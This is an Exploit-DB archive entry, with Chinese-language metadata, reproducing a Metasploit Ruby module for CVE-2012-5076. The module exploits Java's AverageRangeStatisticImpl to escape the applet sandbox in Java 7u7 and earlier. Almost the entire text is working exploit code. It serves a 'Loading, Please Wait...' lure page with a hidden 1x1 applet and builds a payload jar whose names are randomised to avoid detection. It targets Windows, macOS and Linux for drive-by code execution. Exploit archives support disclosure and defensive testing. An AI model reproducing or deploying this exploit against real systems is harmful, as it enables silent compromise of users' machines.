标题: Java Applet - AverageRangeStatisticImpl Remote Code Execution (Metasploit) EDB-ID: 24309 CVE: 2012-5076 类型: REMOTE 平台: JAVA 发布日期: 2013-01-24 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 include Msf::Exploit::Remote::BrowserAutopwn
 autopwn_info({ :javascript => false })

 def initialize( info = {} )

  super( update_info( info,
   'Name'          => 'Java Applet AverageRangeStatisticImpl Remote Code Execution',
   'Description'   => %q{
     This module abuses the AverageRangeStatisticImpl from a Java Applet to run
    arbitrary Java code outside of the sandbox, a different exploit vector than the one
    exploited in the wild in November of 2012. The vulnerability affects Java version
    7u7 and earlier.
   },
   'License'       => MSF_LICENSE,
   'Author'        =>
    [
     'Unknown', # Vulnerability discovery at security-explorations
     'juan vazquez' # Metasploit module
    ],
   'References'    =>
    [
     [ 'CVE', '2012-5076' ],
     [ 'OSVDB', '86363' ],
     [ 'BID', '56054' ],
     [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
     [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2012-5076' ],
     [ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]
    ],
   'Platform'      => [ 'java', 'win', 'osx', 'linux' ],
   'Payload'       => { 'Space' => 20480, 'DisableNops' => true },
   'Targets'       =>
    [
     [ 'Generic (Java Payload)',
      {
       'Platform' => ['java'],
       'Arch' => ARCH_JAVA,
      }
     ],
     [ 'Windows x86 (Native Payload)',
      {
       'Platform' => 'win',
       'Arch' => ARCH_X86,
      }
     ],
     [ 'Mac OS X x86 (Native Payload)',
      {
       'Platform' => 'osx',
       'Arch' => ARCH_X86,
      }
     ],
     [ 'Linux x86 (Native Payload)',
      {
       'Platform' => 'linux',
       'Arch' => ARCH_X86,
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Oct 16 2012'
  ))
 end


 def setup
  path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5076_2", "Exploit.class")
  @exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
  path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2012-5076_2", "B.class")
  @loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

  @exploit_class_name = rand_text_alpha("Exploit".length)
  @exploit_class.gsub!("Exploit", @exploit_class_name)
  super
 end

 def on_request_uri(cli, request)
  print_status("handling request for #{request.uri}")

  case request.uri
  when /\.jar$/i
   jar = payload.encoded_jar
   jar.add_file("#{@exploit_class_name}.class", @exploit_class)
   jar.add_file("B.class", @loader_class)
   metasploit_str = rand_text_alpha("metasploit".length)
   payload_str = rand_text_alpha("payload".length)
   jar.entries.each { |entry|
    entry.name.gsub!("metasploit", metasploit_str)
    entry.name.gsub!("Payload", payload_str)
    entry.data = entry.data.gsub("metasploit", metasploit_str)
    entry.data = entry.data.gsub("Payload", payload_str)
   }
   jar.build_manifest

   send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
  when /\/$/
   payload = regenerate_payload(cli)
   if not payload
    print_error("Failed to generate the payload.")
    send_not_found(cli)
    return
   end
   send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
  else
   send_redirect(cli, get_resource() + '/', '')
  end

 end

 def generate_html
  html  = %Q|<html><head><title>Loading, Please Wait...</title></head>|
  html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
  html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
  html += %Q|</applet></body></html>|
  return html
 end

end URL: https://www.exploit-db.com/exploits/24309